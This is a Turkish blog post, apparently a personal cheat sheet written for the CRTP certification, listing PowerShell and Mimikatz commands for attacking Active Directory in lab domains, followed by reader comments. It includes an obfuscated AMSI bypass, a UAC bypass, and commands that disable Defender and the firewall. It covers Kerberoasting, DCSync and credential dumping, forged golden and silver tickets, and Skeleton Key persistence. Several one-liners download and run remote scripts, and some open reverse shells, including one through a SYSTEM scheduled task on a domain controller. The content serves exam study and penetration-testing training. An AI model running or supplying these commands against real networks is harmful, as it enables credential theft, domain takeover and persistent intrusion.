İçeriğe geç

Active Directory/Powershell/CRTP #Cheat Sheet

Büyük güne az kaldı! Sınavıma girmeden önce artık kendime bazı kopyalar çıkartıyorum ve sürekli olarak bu sayfayı canlı tutmayı planlıyorum. 1 ay önce bu sayfayı oluşturmaya başlasaydım çok daha uzun ve kapsamlı olurdu. Belirli bir seviyeye gelmeye başladıkça bazı süreçleri ister istemez insan atlayabiliyor, elimden geldiğince yine senaryolarla açıklamaya çalıştım ancak kopyaların iyi bir şekilde anlaşılabilmesi için KESİNLİKLE POWERSHELL BİLİYOR OLMALISINIZ!!! Hadi Başlayalım!

Mimikatz-cheatsheet
https://berenkudaygorun.com/blog/index.php/mimikatz-cheatsheet/

Powershell => Base64
https://raikia.com/tool-powershell-encoder/

AMSI Bypass

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

UAC Bypass - fodhelper.exe

function FodhelperBypass(){ 

Param (    

 [String]$program = "cmd /c start powershell.exe" #default

      )

#Create registry structure

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

#Perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

#Remove registry structure
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}

Powershell script çalıştırmak için

powershell -ep bypass

Güvenlik Duvarını kapatma

Set-MpPreference -DisableRealtimeMonitoring $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

Türkçe Q Klavye

Import-Module International
Set-WinUserLanguageList -LanguageList "tr"

Kullanıcı İsimleri(PowerSploit/Recon)

Get-NetUser | select userprincipalname

SPN Değeri Olan Kullanıcılar(PowerSploit/Recon)

Get-NetUser -SPN | select cn, userprincipalname, serviceprincipalname
#Tespit edersen Kerberoast attack yapabilirsin!
#Varsayalımki DA grubundan olan bir kullanıcıda (svcadmin) SPN değeri tespit ettin.
#Let’s request a ticket for the service
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
#Yukarıdan anlaşılacağı üzere SPN değeri = "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
#klist ile TGS'ini kontrol etmek isteyebilirsin.
#Now, let’s dump the tickets to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'
#Export'unu aldıktan sonra bu ticket'ı kaba-kuvvet ile kırabilirsin (.\tgsrepcrack.py)
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\1-40a10000-studentx@MSSQLSvc~dcorp-mgmt.dollarcorp.moneycorp.local-DOLLARCORP.MONEYCORP.LOCAL.kirbi
#Şanslıysan kullanıcının şifresini kırdın!

SPN Değeri Olan Kullanıcılar#2(PowerView_dev.ps1)

Get-DomainUser -Identity supportXuser | Get-DomainSPNTicket | select -ExpandProperty Hash
#Yukarıdaki komut ile direkt olarak john formatında hash'i elde edebilirsin.

Kerberos Preauth Disabled (ASREPRoast) Kullanıcılar(PowerSploit/Recon)

Get-DomainUser -PreauthNotRequired -Verbose | select userprincipalname
#Tespit edersen ASREPRoast saldırısı yapabilirsin!
#Varsayalım ki VPNxuser isimli bir kullanıcı tespit ettin.
#ASREPRoast\ASREPRoast.ps1 kodu ile direkt olarak john'a verebileceğin bir çıktı elde edebilirsin.
Get-ASREPHash -UserName VPNxuser -Verbose
#Şanslıysan kullanıcının şifresini kırdın!

Grup İsimleri(PowerSploit/Recon)

Get-NetGroup | select cn

Bir Gruptaki Kullanıcıları Listeleme(PowerSploit/Recon)

Get-NetGroupMember "RDPUsers*" | select MemberName

Bir kullanıcının üye olduğu grupların isimleri(PowerSploit/Recon)

Get-NetGroup -MemberIdentity "student130" | select samaccountname
#Bir kullanıcın sahip olduğu hakları kötüye kullanmak isteyebiliriz, örnek olarak GenericAll gibi. Kullanıcı için arama yaptığımızda sonuç bulamdıysak birde içinde bulunduğu gruplar için aynı aramayı yapmak iyi bir tercih olacaktır.

Bir kullanıcının ya da Grubun sahip olduğu haklar(PowerSploit/Recon)

$acls = Invoke-ACLScanner -ResolveGUIDs | select *
$acls | Where-Object {$_.IdentityReferenceName -match "student130"} | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#ve
$acls | Where-Object {$_.IdentityReferenceName -match "RDPUsers"} | select ObjectDN, ActiveDirectoryRights, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Burada RDPUsers içinde arama yapmamın sebebi student130 kullanıcısının bu gruba ait olmasından kaynaklanmaktadır. Kullancıı yerine gruba tanımlanmış bir hakkı elde etmeye çalışabiliriz ve bunu kötüye kullanabiliriz. Örnek bir çıktıyı aşağıda paylaştım.

$acls | Where-Object {$_.IdentityReferenceName -match "RDPUsers"} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName

ObjectDN                                                       ActiveDirectoryRights IdentityReferenceName
--------                                                       --------------------- ---------------------
CN=Control119User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local            GenericAll RDPUsers
CN=Control120User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local            GenericAll RDPUsers
CN=Control121User,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local            GenericAll RDPUsers
[Kesilmiş...]

Bir OU içerisindeki bilgisayarları listeleme(PowerSploit/Recon)

Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}

Child Domain, Parent Domain, External Domain'ler hakkında map bilgisi almak için(PowerSploit/Recon)

Get-NetForestDomain -Verbose | Get-NetDomainTrust

Kullanıcının local admin haklarına sahip olduğu diğer bilgisayalar - çalıştırmak için local admin hakları ister(PowerSploit/Recon)

 Find-LocalAdminAccess -Verbose
 #Bilgisayar tespit edersen direkt olarak PSSession yapabilirsin!

BloodHound İle Bilgi Toplama(SharpHound.ps1)

 Invoke-BloodHound -CollectionMethod All -Verbose

BloodHound İle Aktif Oturumlar İçin(SharpHound.ps1)

Invoke-BloodHound -CollectionMethod LoggedOn -Verbose

Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar(PowerView.ps1 - Eski Sürüm)

Invoke-UserHunter -Verbose -CheckAccess

Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar - İsteilen Herhangibir kullanıcı için(PowerView.ps1 - Eski Sürüm)

Invoke-UserHunter -UserName 'yetkisizuser' -Verbose -CheckAccess

Erişim sağlayabildiğimiz bilgisayarlardaki aktif oturumları listeler ve o bilgisayarda local admin olup olmadığımızın kontrolünü yapar - İsteilen Herhangibir grup için(PowerView.ps1 - Eski Sürüm)

Invoke-UserHunter -GroupName 'Domain Admins' -Verbose -CheckAccess

Erişim hakkımızın olduğu makinelerdeki local admin hesaplarının kimler olduğunu bilmek isteyebilirsiniz. - Local Admin hakları ile çalışır(PowerView.ps1 - Eski Sürüm)

Invoke-EnumerateLocalAdmin -Verbose

Bir bilgisayardaki aktif oturumların bilgisini bize verecektir. - Local admin hakları ister(PowerView.ps1 - Eski Sürüm)

Get-NetLoggedon -ComputerName DB-02 -Verbose

Constrained Language Mode değeri hakkında bilgi verir(Bu kısıma daha sonra tekrar bakacağım sevgili okur)

$ExecutionContext.SessionState.LanguageMode ConstrainedLanguage

DCSync saldırısı için replica kontrolü(PowerView.ps1 - Eski Sürüm)

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "student130") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
#Eğer tespit ederen hemen krbtgt hash'ine koş!
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Unconstrained Delegation is enabled Bilgisayar(PowerSploit/Recon)

Get-NetComputer -Unconstrained | select -ExpandProperty name
#Bir bilgisayarı tespit ettiğimizi düşünelim. Bu bilgisayarda eğer Administrator oturum açtıysa onun ticket'ını kendi lsass process'imize dahil edebiliriz. Bundan dolayı tespit ettiğimiz bilgisayarda local admin haklarında erişimimizin olmaması gerekiyor. Lab ortamında daha önceden ntlm hash'ini elde ettiğim bir kullanıcının Constrained Delegation Enabled olarak tespit ettiğim bilgisayarda local admin olduğunu biliyorum. Bundan dolayı ilk olarak bir pass the hash işlemi gerçekleştirerek aşağıda devam ediyorum. Ancak bu durum senaryoa göre değişebilir. Sahip olduğunu kullanıcı zaten Constrained Delegation Enabled olarak tespit edilen bilgisayarda local admin'se buna gerek yoktur.
Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8 /run:powershell.exe"'
#Yeni açılan powershell ekranında şimdi bir kontrol işlemi gerçekleştirelim.
Find-LocalAdminAccess -Verbose
#Constrained Delegation Enabled olarak tespit ettiğimiz bilgisayarı burada görmemiz gerekecektir.
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Burada Administrator ile ilgili bir bileti görmemiz ([0;3e4]-0-0-40a50000-DCORP-APPSRV$@cifs-dcorp-dc.dollarcorp.moneycorp.local.kirbi gibi) gerekiyor. Daha sonrasında pass the ticket işlemi yapabiliriz ve DC üzerinde komut çalıştırabiliriz.
Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

Constrained Delegation Enabled Kullanıcı(PowerSploit/Recon, kekeo.exe, Invoke-Mimikatz.ps1)

Get-NetUser -TrustedToAuth| select name, msds-allowedtodelegateto
#Senaryo: Bu komutu çalıştırdığımda websvc isimli kullanıcının Constrained Delegation Enabled olduğunu fark ettim. Şimdi eğer bu kullanıcının hash'ine sahipsek neler yapabileceğimize bakalım. Bu kullanıcı için ilk olarak bir TGT isteğinde bulunalım.
kekeo # tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
#[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi isminde bir TGT çalışmakta olduğumuz klasöre kaydedildi. Şimdi TGS isteğinde bulunalım (we are requesting a TGS to access cifs/dcorp-mssql as the domain administrator) Bu sayede cifs servisiyle klasör işlemleri yapabileceğiz.
kekeo # tgs::s4u /tgt:[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
#Son olarak oluşan TGS'i current session'a dahil etmemiz gerekiyor.
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_cifs~ dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
#Artık makine üzerinde gezinebiliriz!

Constrained Delegation Enabled Bilgisayar(PowerSploit/Recon, kekeo.exe, Invoke-Mimikatz.ps1)

Get-NetComputer -TrustedToAuth | select cn, msds-allowedtodelegateto, useraccountcontrol
#Yukarıdaki komut sonucunda DCORP-ADMINSRV isimli bir makinanın Constrained Delegation Enabled olduğunu varsayalım. Şimdi bunu nasıl kötüye kullanabiliriz onu görelim. Unutmadan sorgu sonucunda msds-allowedtodelegateto değeri de {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL, TIME/dcorp-DC} şeklindedir. İlk olarak bu bilgisayarın NTLM hash'ine ihtiyacımız var. Eğer elimizdeyse hemen bir TGT isteğinde bulunalım. Bunun için kekeo kullancağız.
kekeo # tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
Şimdi oluşan TGT'mizle beraber bir TGS isteğinde bulunalım. Bunu yaparken ldap servisini de işleme dahil edeceğiz.
kekeo # tgs::s4u /tgt:[email protected]_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:[email protected] /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-dc.dollarcorp.moneycorp.LOCAL
#Ve şimdide oluşan TGS'imizi Mimikatz ile dahil edelim.
Invoke-Mimikatz -Command '"kerberos::ptt [email protected]@DOLLARCORP.MONEYCORP.LOCAL_ldap~ [email protected]_ALT.kirbi"'
#Harika! Artık DCSync atağını DA yetkilerimiz olmadan yapabiliriz.
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
#Golden Ticket geliyor!

AD Haklarını Kötüye Kullanma

Bir kullanıcı üzerinde GenericAll haklara sahipseniz ona preauth not required atayarak şifresini kırabilirsiniz

#Önce bloodhoun'tan yada aşağıdakine benzer bir komutla kontrol edin(\PowerView_dev.ps1 - Eski Sürüm)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Daha sonra atama işlemini yap!
Set-DomainObject -Identity ControlXUser -XOR @{useraccountcontrol=4194304} -Verbose
#Artık ControlXUser kullancısının ASREPRoast ile şifresini kırabilirsin!

Bir kullanıcı üzerinde GenericAll haklara sahipseniz ona SPN değeri atayarak şifresini kırabilirsiniz

#Önce bloodhoun'tan yada aşağıdakine benzer bir komutla kontrol edin(\PowerView_dev.ps1 - Eski Sürüm)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
#Daha sonra atama işlemini yap!
Set-DomainObject -Identity supportXuser -Set @{serviceprincipalname='dcorp/whateverX'} -Verbose
#Artık TGS isteğinde bulunup SPN'i kötüye kullanabilirsin!

Replication Haklarını Kötüye Kullanma

#Kontrol
PS C:\Users\student130> $acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Souç varsa dcsync saldırı!

Bir kullanıcı üzerinde AllExtendedRights, GenericAll ya da ForceChangePassword haklarına sahipseiniz parolasını değiştirebilirsiniz

$sifre = ConvertTo-SecureString 'Password1' -AsPlainText -Force
Set-DomainUserPassword -Identity Control130User -AccountPassword $sifre -Verbose

Basitçe tehlikeli hakların aranması

$acls | Where-Object {$_.ActiveDirectoryRights -match "ForceChangePassword" -or $_.ActiveDirectoryRights -match "AddMembers"  -or $_.ActiveDirectoryRights -match "GenericAll" -or $_.ActiveDirectoryRights -match "GenericWrite" -or $_.ActiveDirectoryRights -match "WriteOwner" -or $_.ActiveDirectoryRights -match "WriteDACL" -or $_.ActiveDirectoryRights -match "AllExtendedRights"} | select ObjectDN, ActiveDirectoryRights, IdentityReferenceName | Out-Default

Uzaktan Dosya İndirme

Web Server Üzerinden

powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.130/PowerView.ps1'));
#Ya da aşağıdakini kullanabilirsin
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.130/Invoke-Mimikatz.ps1'));
#Dosyayı bir yere kaydedecekseniz aşağıdakini kullanın
powershell -c "Invoke-WebRequest -Uri http://10.10.14.12/41020.exe -OutFile C:\Users\kostas\Desktop\41020.exe"

Invoke-Command Aracılığı İle

$sess = New-PSSession -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -Session $sess
#Ya da
Invoke-Command -Session $sess -FilePath .\Invoke-Mimikatz.ps1

Linux'tan Dosya Transferi (SMB)

                                              130 ⨯
┌──(root💀kali)-[~/oscp/htb/bastartd]
└─# /usr/local/bin/smbserver.py KUDAY /root/oscp/htb/bastartd                                                  130 ⨯
Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
C:\inetpub\drupal-7.54>copy \\10.10.14.12\KUDAY\MS11-011.exe .
copy \\10.10.14.12\KUDAY\MS11-011.exe .
        1 file(s) copied.

Unquoted Path

Kulanılabilecek komutlar(PowerUp.ps1)

#Bu kısmı kestirip atmamın nedeni konuya ait ayrıntılı bilgiyi daha önceden vermiş olmamdan kaynaklanıyor. Unutmayın aşağıdaki her komut ayrı bir süreci temsil etmektedir!
Get-ServiceUnquoted
Get-ModifiableServiceFile -Verbose
Get-ModifiableService
Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx'

#Bu işlemler yapıldıktan sonra eğer local adin olursanız giriş çıkış yapmanız gerekecektir.

Dosya ve Klasör İzinleri

Get-Acl -Path 'C:\Kurum AS\' | Format-List

Reverse Shell İçin:

Aağıda farklı yöntemler için örnekler vereceğim anack öncesinde kendi localinizde bir dinleme noktası başlatmayı ve firewall üzerinde dinlediğiniz port için kural girmeyi unutmayın.

Dinleme noktası(powercat.ps1)

powercat -l -v -p 443 -t 1000

Reverse Shell

powershell.exe -c iex ((New-ObjectNet.WebClient).DownloadString('http://172.16.100.X/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
powershell.exe iex (iwr http://172.16.100.X/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443

DSRM'i Kötüye Kullanma

#DC üzerindeki daha domain kurulmadan önceki Administrator hesabı ile PSSession çalıştırmak istiyorsan. Aşağıdaki komutu DC üzerinde çalıştır!
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
#Daha sonra hesabın NTLM hash'ini al ve kalıcılık sağla!
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
#ya da
reg save hklm\sam filename1.hiv
reg save hklm\security filename2.hiv
Invoke-Mimikatz -Command '"lsadump::sam filename1.hiv filename2.hiv"'
#Sıra PTH!
ls \\dc-01\c$ #domain ismi yok çünkü domain yok gibi dşünmeliyiz. DSRM ile yapıyoruz.

WMI without requiring administrator access(Set-RemoteWMI.ps1)

#DC üzerinde aşağıdaki komut çalıştrıldığında istenilen bir kullanıcı için VMI access açılacaktır. Bu durum kullanıcının silver ticket saldırısı gerçekleştirmesine olanak sağlar.
Set-RemoteWMI -UserName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose
gwmi -class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local
#Kendime not: Bunu kesinlikle blogunda bir senaryo üzerinde gerçekleştir.

SID History

SID History Kötüye Kullanma()

#Bu yöntem sayesinde diğer domain'de CIFS servisini kullanabileceksin. Öncesinde mevcut bulunduğun Domain'de DC üzerinde kod çalıştırabilecek duruma gelmiş olman gerekiyor.
#Şimdi DC üzerinde Trust'ları alalım
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
#Kendi domain'inin ve karşı domain'in SID'leri al
Get-DomainSID
Get-DomainSID -Domain moneycorp.local
#TGT oluştur
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:29b89128ea2f1f892633aff9a4f7a500 /service:krbtgt /target:mone
ycorp.local /ticket:C:\AD\trust_tkt.kirbi"'
#TGS oluştur
.\asktgs.exe C:\AD\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
#RAM'e yaz
.\kirbikator.exe lsa .\CIFS.mcorp-dc.moneycorp.local.kirbi
#İstismar et!
ls \\mcorp-dc.moneycorp.local\c$

Invoke-Mimikatz.ps1 komutları

Pass The Hash

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:b38ff50264b74508085d82c69794a4d8 /run:powershell.exe"'

Pass The Ticket

Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000-Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"'

Domaindeki bütün kullanıcıların, bilgisayarların ve trust keylerin NTLM hashleri (DC Üzerinde çalışır)

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Golden Ticket

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

Silver Ticket

Invoke-Mimikatz -Command '"kerberos::golden
/domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:731a06658bc10b59d71f5176e93e5710 /user:Administrator /ptt"'

#Burada önemli olan /service kısmıdır. /service değerine göre aslında sizin yetkileriniz belirlenecektir. Bununla alakalı ayrıntılı bilgiyi blogumda payaştım. Direkt olarak PSSession da başlatabilirsiniz yada bir zamanlanmış örevde oluşturabilirsiniz.  Örneğin yukarıdaki senaryo ile biz burada bir zamanlanmış görev aracılığı ile reverse shell almayı deneyeceğiz.
powercat -l -v -p 443 -t 99999 #Dinleme noktamı başlattım.
schtasks.exe /create /S mcorp-dc.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "KUDAY4REVERSE" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString('''http://172.16.100.130/powercat.ps1'''); powercat -c 172.16.100.130 443 -e cmd;'" #bir task oluşturdum ve benim bilgisayarımdan powercat dosyasını alıp shell gönderiyor.
schtasks /Run /S mcorp-dc.moneycorp.local /TN "KUDAY4REVERSE" 
#task'ı çalıştırınca reverse gelir!

Silver Ticket #2

Servis Tipi: WMI
Service Silver Tickets: HOST, RPCSS

Servis Tipi: PowerShell Remoting
Service Silver Tickets: HOST, HTTP, WSMAN, RPCSS

Servis Tipi: WinRM
Service Silver Tickets: HOST, HTTP

Servis Tipi: Scheduled Tasks
Service Silver Tickets: HOST

Servis Tipi: Windows File Share (CIFS)
Service Silver Tickets: CIFS

Servis Tipi: LDAP operations including Mimikatz DCSync
Service Silver Tickets: LDAP

Servis Tipi: Windows Remote Server Administration Tools
Service Silver Tickets: RPCSS, LDAP, CIFS

Skeleton Key

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'

Extract the credentials from the SAM file from the DC

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Extract the credentials from the SAM file from the DC #2

reg save hklm\sam filename1.hiv
reg save hklm\security filename2.hiv
Invoke-Mimikatz -Command '"lsadump::sam filename1.hiv filename2.hiv"'

DCSYNC Saldırısı

 $acls = Invoke-ACLScanner -ResolveGUIDs | select *
 $acls | Where-Object {$_.IdentityReferenceName -match "student130" -and $_.ObjectDN -eq "DC=dollarcorp,DC=moneycorp,DC=local" } | select ObjectDN, ActiveDirectoryRights, ObjectAceType, IdentityReferenceName
#Kullanıcının replication yetkisi varsa, aşağıdaki komut ile dcsync saldırısı yapılabilir ve krbtgt hesabının hash değeri elde edilebilir.

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Biletleri Dök

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

Trust'ları Dök

 Invoke-Mimikatz -Command '"lsadump::trust /patch"'

Diğer

How to enable Remote Desktop

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

Başka bir kullanıcıyla powershell açma

 $pw = convertto-securestring -AsPlainText -Force -String <insert pw here>
 $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist "Domain\User",$pw
 $session = new-pssession -computername <computer> -credential $cred

Kullanıcıyı bir gruba ekleme

net group "Domain Admins" testuser /ADD /DOMAIN

DCSYNC Saldırısı İçin Lab Ortamı

LAB İçin DCSYNC Haklarında Kullanıcı Oluşturma

    • net user kuday Password1 /ADD /DOMAIN
    • net localgroup 'Remote Management Users' kuday /add

Daha sonrasında evil-winrm ile bağlan:
    • evil-winrm --ip 10.10.10.161 --user kuday --password Password1 --port 5985
    • powershell -ep bypass
    • sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
    • iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.35:1111/PowerView.ps1'));
    • Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity kuday -Rights DCSync

Exploiting
    • iex ((New-Object Net.WebClient).DownloadString('http://10.10.14.35:1111/Invoke-Mimikatz.ps1 '));
Invoke-Mimikatz -Command '"lsadump::dcsync /user:htb\Administrator"'
Kategori:Active DirectoryCheat SheetPowerShell

12 Yorum

  1. Biray Balca Biray Balca

    Bilgiler için teşekkürler, ancak bir sorum var bazı konular üzerinde ayrıntılı durulmuşken mimikatz ile ilgili 2 örnek verilmiş. Devamı gelecek mi acaba?

    • kuday kuday

      Geliyor, geldi, gelecek…

  2. Arda Arda

    MSSQL ile ilgli powerupsql içinde bir cheat sheet oluşturacak mısınız?

    • kuday kuday

      Burası dinamik bir şekilde gelişecek bir sayfa olacak yani cevabı evet.

  3. Hasan Yılmaz Hasan Yılmaz

    Bloodhound kullanarak AD haklarını kötüye kullanmayla ilgili bir yazı olacak mı?
    Bloodhound bu koduda gerçekten çok iyi bir araç. Verilen AD halklarla ilgili örnek saldırıları gösteriyor.

    • kuday kuday

      Evet hemde çok kapsamlı bir yazı olacak ancak hala taslak halinde üzerinde çalışıyorum…

      • Hasan Sarı Hasan Sarı

        yazınızı gerçekten beklemekteyim.Bloodhound ile ilgili olarak kurulum dışında türkçe kaynak yok.
        Bloodhound’ta bilgisayarlar, GPO’lar ve gruplar arasında şağıdaki gibi haklar yer almaktadır.Bu hakların nasıl kötüye kullanılacağına dair bir yazı olacak mı?
        GenericAll, GenericWrite, WriteOwner, WriteDACL, AllExtendedRights, ForceChangePassword, Adminto,Self

        • kuday kuday

          Evet olacak, kısaca bahsetmek gerekirse AD haklarından (GenericAll, GenericWrite, WriteOwner, WriteDACL, AllExtendedRights, ForceChangePassword, Adminto,Self) ilk başta bahsedeceğim. Daha sonra bir senaryo oluşturup bu haklara sahip bir kullanıcıyı ya da üye olduğu grubu bloodhound üzerinden bulmayı ve daha sonrasında ilgili hakları nasıl kötüye kullanabileceği… Aslında bloodhound’ta bunları görmek bana sorarsanız oldukça kolay ancak AD haklarının tam olarak anlamak ve bunları kötüye kullanmak kafa karıştırıcı olabiliyor. Daha çok üzerinde duracağım taraf yazımda teorik kısım olacak.

          • Hasan Sarı Hasan Sarı

            Bu arada sertifikanız hayırlı olsun. AD pentest yapılarınız gerçekten çok güzel.Sertifikayı aldığınıza göre bu yazının heralde devamı gelmeyecek.Üstteki yorumda bassettiğiniz yazı gelse çok iyi olur gerçekten.Bloodhound’la ilgili kurulum yazılarından başka Türkçe doküman yok

          • kuday kuday

            Sertifika için teşekkür ederim Hasan, AD yazıları gelmeye devam edecek ve taslak halinde olan bir yazım mevcut ama şuanda OSWP’ye hazırlandığım için biraz daha az zaman ayırıyorum. Ama gelecek. Çünkü Mart’ın ortaları gibi AD ile ilgili hazırlanmaya başlayacağım yeni bir sertifikasyon olacak.

  4. Ali Taçcı Ali Taçcı

    hocam keşke bu seriyi devam ettirseniz çok güzel olur. Özellikle bloodhound kullanarak AD pentest hakkında bir yazı gelirse mükemmel olur.

    • kuday kuday

      Selam Ali, Zafiyetli Makine Serisi kısmında windows özelinde çözdüğüm makinelerin bir çoğunda aslında bloodhound kullanıyorum. O kısmı inceleyebilirsin. Spesifik sadece bloodhound anlatan bir seri oluşturmak için ilerleyen süreçte yazıdan ziyade youtube serisi yapayı düşünüyorum.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir